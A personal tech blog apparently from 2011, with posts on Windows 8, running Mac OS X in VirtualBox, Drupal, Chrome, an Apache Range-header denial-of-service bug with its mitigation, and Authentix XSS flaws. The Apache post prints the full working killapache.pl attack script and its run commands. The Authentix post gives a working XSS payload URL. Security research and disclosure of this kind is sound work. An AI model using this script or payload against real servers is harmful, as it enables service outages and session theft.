Windows 8 - First Looks

[Note: the following is a rambling of notes I jotted down quickly after viewing the new Windows 8 release.]

The Windows 8 Developer Preview was just released tonight (9/13/2011). I downloaded it, installed it in VirtualBox and played with it for a bit. My first thoughts: I don't like it one bit (for a desktop).

The one feature that I truly dislike is the use of panels. I originally thought they'd be an interesting and welcomed change for the desktop. I was wrong. They do nothing but hinder easy switching between apps and viewing of the start menu. They are big, clunky, and not suitable for a desktop at all.

The second thing that causes a major headache is the lack of familiar options. For example, to shutdown, the user has to click Start, then the "Settings" panel, the "Shut Down." This is not intuitive at all.

Finally, the color scheme is horrible. I know it can be changed, but the default teal / green is a shocking step backwards in Windows' appearance.

Check out the quick screencast:

Installing Mac OSX Snow Leopard in Virtual Box

Before we begin, I am using Virtual Box 3.2.12 on Windows 7 and have installed Mac OS X Snow Leopard version 10.6.3. The laptop that I have installed this on is an HP dv6t with an Intel Core i5 and 6 GB of RAM. Your mileage may vary significantly. For example, I attempted to first install OS X in VMWare, but after attempting every option and change I could find online, I decided to attempt it with Virtual Box. Also, there are a number of options that may not work if your installation does manage to complete. Regardless, here we go.

Requirements:

1. An Intel-based CPU that supports virtualization (most Core i5 and Core i7 machines do, but check this site for a full list: http://ark.intel.com/VTList.aspx)
2. A copy of iBoot - it can be downloaded from tonymacx86's site here: http://www.tonymacx86.com/viewforum.php?f=125 (note: free registration required)
3. Virtual Box software from Oracle (free): http://www.virtualbox.org/wiki/Downloads
4. A full retail version of Mac OS X. Yes, you will have to purchase this. Obviously you could probably locate an ISO online, but this guide assumes you have the disc (it's only $35 here: http://www.amazon.com/Mac-version-10-6-3-Snow-Leopard/dp/B001AMHWP8/ref=sr_1_1?ie=UTF8&qid=1314467096&sr=8-1)
5. Patience

Steps:

1. Enable virtualization through your BIOS. Reboot your computer, press F12, F11, DEL, ESC, or whatever key gets you into your BIOS setup. Look for an entry called "Enable Virtualization" and enable it. If you cannot find the setting in your BIOS, you may need to locate your computer's user guide or Google it.
2. Start Virtual Box and create a new virtual machine.
1. Press Next, enter a name for your VM, select "Mac OS X" as the Operating System and "Mac OS X Server" as the Version.
2. Give the VM 1024 MB of RAM
3. Check "Boot Hard Disk" and select "Create a new hard disk"
4. In the New Virtual Disk screen, click Next and then select "Dynamically expanding storage."
5. Click Next and set a location for the VM. Set the disk size at 20 GB.
6. Press Finish and Finish again
3. Click on the VM name on the left side and click Settings
4. Under the System tab, uncheck "Enable EFI (special OSes only)
5. Click the "Acceleration" tab at the top, and ensure that both "Enable VT-x/AMD-v" and "Enable Nested Paging" are checked.
6. Click the Storage tab on the left and click the disk under "IDE Controller."
7. On the right, under Attributes, click the folder icon next to "CD/DVD Device: Empty"
8. In the Virtual Media Manager window that appears, click "Add" and add the iBoot.iso file that you downloaded earlier.
9. Click "Select" and click OK in the Settings window
10. Start your virtual machine by clicking the Start button at the top
11. iBoot will begin to load. When it loads and then pauses, insert your Mac OS X Snow Leopard DVD into your computer's disc drive.
12. Now, right click on the CD icon at the bottom right of the VM window and change the source to your computer's disc drive.
    
    
13. Now, click inside the VM window and press F5.
14. iBoot will refresh, and now you will see an OS X install entry on the screen.
15. Hit enter to begin the installation process
16. Mac OS X will boot and you will be presented with the installation screen. If you do not see a disk in the window that asks which disk to install the OS on, then follow these steps:
1. Click Utilities at the top window
2. Click Disk Utility
3. On the left, click the only disk that should be listed (probably "VIRTUALDISK" or something similar
4. On the right, click the "Erase" tab
5. Enter a name for your disk volume such as "VOL1."
6. Leave the format as "Mac OS Extended (Journaled)"
7. Click "Erase."
8. Now, you will have a sub-disk entry on the left.
9. Click close on the disk utility.
17. Select the disk in the "Install to Disk" window
18. Allow OS X to install now. It may take an hour or so, depending on your hardware.
19. When it is finished, it may say "Installation Failed." That's OK, it didn't really fail.
20. Turn off your VM by clicking the X in the VM window and selecting "Power Off."
21. Once it is turned off, click "Settings" again
22. Click the Storage tab and click the disk under IDE Controller
23. In the drop down menu next to "CD/DVD Device" change it to the iBoot ISO from earlier
24. Click OK and restart your VM
25. Now, when iBoot starts, it will have an option for "OS X Snow Leopard" or "VOL1" (your disk's name)
26. Right arrow click to highlight your disk and hit enter
27. OS X will now boot and walk through the initial setup.

You will need to keep the CD ISO pointed at your iBoot file unless you want to make things complicated and install more third party utilities. So just remember to tab over and hit enter on each boot.

Issues: The resolution is stuck at 1024x768. The USB devices may not work. Shared folders may not function. Most of these issues can be resolved with additional hacks and software. 

Enjoy!

Preventing (Mitigating) Apache Vulnerability

Last post, I discussed how to attack a vulnerable Apache server using the latest exploit. Well, some hard working developers have put together a list of mitigation techniques to prevent (reduce) this attack. I do not claim credit for the information below, it is only a walk-through on applying the fixes to your server. I can, however, confirm that, in testing, it did appear to greatly reduce (actually prevent) the attack itself. Please be aware of what these options do before you make the changes. They are quick fixes and may have a negative effect on other aspects of your web server environment.

You can review the entire conversation thread here: http://web.archiveorange.com/archive/v/zvbaIDN8J7uv2lETRSfD. As I said, this is NOT my work, I am only providing an explanation for enacting the changes, as well as a demo that it works.

First, log into your Apache server (if it hasn't been killed yet) and open up your "httpd.conf" file in vi or a another text editor. Append the following lines:

SetEnvIf Range (,.*?){5,} bad-range=1
RequestHeader unset Range env=bad-range
LimitRequestFieldSize 200 RequestHeader unset Range 

*Note: please determine how these changes will affect your server and applications individually before applying them.

Save your httpd.conf file and restart the Apache service:

sudo service httpd restart 

Here is a screenshot of my test system after applying the changes. As you can see, the attack immediately fails:

Kill Apache With Backtrack 5

[Obligatory Warning: This post is for educational and prevention purposes only. I am not responsible if you use the information here in a malicious way. If you want to experiment with this vulnerability, please use Virtual Machines in a segregated environment. Never attack a machine that you do not own.]

A vulnerability for Apache web servers has been released yesterday (varying reports say that the bug was discovered over four years ago, but a script has just been written) on SecLists. Called "KillApache," the Perl script uses memory swapping and process killing to render the remote system unstable. The full thread can be read here at SecList:  http://seclists.org/fulldisclosure/2011/Aug/175

Currently, Apache has offered several mitigation techniques and work-arounds until the next release addresses the issue. The issue is that the vulnerability affects almost all Apache servers currently in use - versions 1.3 and 2. You can read about the temporary fixes here: http://web.archiveorange.com/archive/v/zvbaIDN8J7uv2lETRSfD

Until it's fixed, I decided to try out this vulnerability using Backtrack 5 and Fedora LAMP Virtual Machines. The base install of Apache, PHP, and MySQL was not changed in any way on the Fedora machine, nor were any intrusion detection or mitigation systems; it was a fresh install.

I'm going to assume that you have an Apache server already set up. There are many guides that can assist with installing Apache on Linux or Windows (as far as I know, the vulnerability affects both platforms).

The Perl script can be run from any machine with Perl installed. I am using Backtrack for penetration testing, so I saved the script there. I noticed that the default installation of Backtrack did not include a necessary Perl component called "Parallel-ForkManager." To install that, run these commands:

$ wget http://search.cpan.org/CPAN/authors/id/D/DL/DLUX/Parallel-ForkManager-0.7.9.tar.gz
$ tar -xvzf Parallel-ForkManager-0.7.9.tar.gz
$ cd Parallel-ForkManager-0.7.9
$ perl Makefile.pl
$ make
$ sudo make install

Once that is installed, download the killapache.pl script from the SecList site above. In case it is removed or the link changes, the full script is here:


#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#


use IO::Socket;
use Parallel::ForkManager;


sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}


sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";

$pm = new Parallel::ForkManager($numforks);


$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";
}


for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;

$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                      Proto    => 'tcp');


$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;


while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}


sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                      Proto    => 'tcp');


$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;


$x = <$sock>;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;
}
}


if ($#ARGV < 0) {
usage;
exit;
}


if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}


$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();
}

Once you create and save the script as killapache.pl, you can run it from the command line as:

$ perl killapache.pl <host> <num_forks>

$ perl killapache 10.10.1.1 50


You will immediately notice that the attack is working if you view the system resource monitor of your remote machine. Here are some screenshots I took while running the attack against a VM:

This is the system before the attack is launched.

This is the system while the attack is running. Notice the huge spike in CPU usage.

As I said, please do not use this information maliciously. This is a serious bug because, although it will probably be addressed in the next Apache release, thousands, if not millions of servers will remain vulnerable for years until they are upgraded.

Move to Drupal

I've been looking for a CMS (Content Management System) for my personal website for a while now. After looking into both Drupal and Joomla, I settled on using Drupal to completely revamp my website. After a ton of customized theme coding, I was able to get it looking exactly the way I wanted. The advantage of having Drupal power my site is that I can now easily add content without ever having to edit the static HTML pages as I did previously. If there are any issues using the site, please let me know as I am ironing out a few issues at the moment. Thank you!

Chrome Blocking "Insecure Scripts" from Facebook

I ran into an issue this evening while browsing on Chrome 14.0.835.2 dev-m. As I visit various pages, a new feature in Chrome (since version 12, I believe) is blocking "insecure scripts" from running. A few weeks ago, I noticed that an insecure script would be blocked every couple days or so. However, tonight I was seeing the popup on almost every site I visited. I realized that this had to do with Facebook when I visited Facebook and it looked like this.

Keep in mind that I do use Facebook's permanent HTTPS feature, which may have something to do with this. The fact that Facebook is causing issues explained why I was having issues elsewhere around the web: Facebook is embedded in some form on almost every webpage. I confirmed this by checking Chrome's developer tools to see what was being blocked on these pages.

To determine what was causing this, I decided to disable HTTPS in Facebook and see what happened. Turning off HTTPS allowed Facebook to load around the web without causing the "insecure script" warning in Chrome. 

So what was causing this? Looking into Chrome's developer tool, it appears that it is blocking a CSS page from Facebook, which explains why Facebook loads without its styles present as you can see in the image above. Also, Chrome takes issue with a number of lines of JavaScript used within the Facebook page. In total, it found 10 errors and 45 warnings on Facebook's homepage alone.

The only solution as of now is to either disable HTTPS in Facebook (it's not enabled by default, so you'll only be having these issues if you specifically turned it on) or running Chrome without blocking insecure scripts, which isn't recommended, but can be done by following the guide here: http://www.howtonew.com/insecure-script-has-been-blocked-disabling-chrome-warning

Authentix Vulnerabilities

While doing some work on an Authentix system, I discovered a few, very basic, JavaScript injection and cross-site scripting vulnerabilities. After finding these, I've done some research and it appears that these issues have been discovered and reported to the vender previously (in previous versions) yet they still remain in the latest version of the software. The issue is mitigated slightly by the fact that the vulnerbility occurs on an admin page, visible after login, but I wouldn't doubt that other areas of the site exhibit the same issues.

Authentix is a webpage protection tool that uses IIS and NT user names as a backend. You can read more about the product here: http://www.flicks.com/flicks/authx.htm. To me, it seems like a very antiquated tool, but apparently it is still used in production environments.

The vulnerability occurs within the remote administration webpage while editing user accounts. After logging in, browse to the delete user admin page at: https://server.site.com/scripts/aspadmin/deleteUserSelect.asp

This page allows you to enter the user name of the user you wish to delete.

When you click "delete user," the site appears to silently pass the parameter to the next page as shown here in the URL:
https://site.server.com/scripts/aspadmin/deleteUser.asp
And here on the webpage:

So this part got me thinking. After looking into the code a bit, the textbox where the name is originally entered is called "username." So suppose we pass that in via the URL rather than typing it in the box and clicking the button? Let's try it:
https://site.server.com/scripts/aspadmin/deleteUser.asp?username=johnny

Now this is why we have a problem. The webpage appears to just be displaying on the page whatever text was typed after "username=" in the URL. This is exactly how JavaScript injection and cross-site scripting start. So now let's try a new URL:

https://site.server.com/scripts/aspadmin/deleteUser.asp?username=';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

(This code was taken from http://ha.ckers.org/xss.html which is a very nice XSS cheat-sheet).

This URL works nicely:

This works on several other pages as well, including some that are persistent. I have only tested to see whether a few other pages are vulnerable, but the entire site appears to be a bit outdated, especially from a design standpoint. I have emailed the company again (they have been contacted previously about this) and, if I receive a response, will include it here.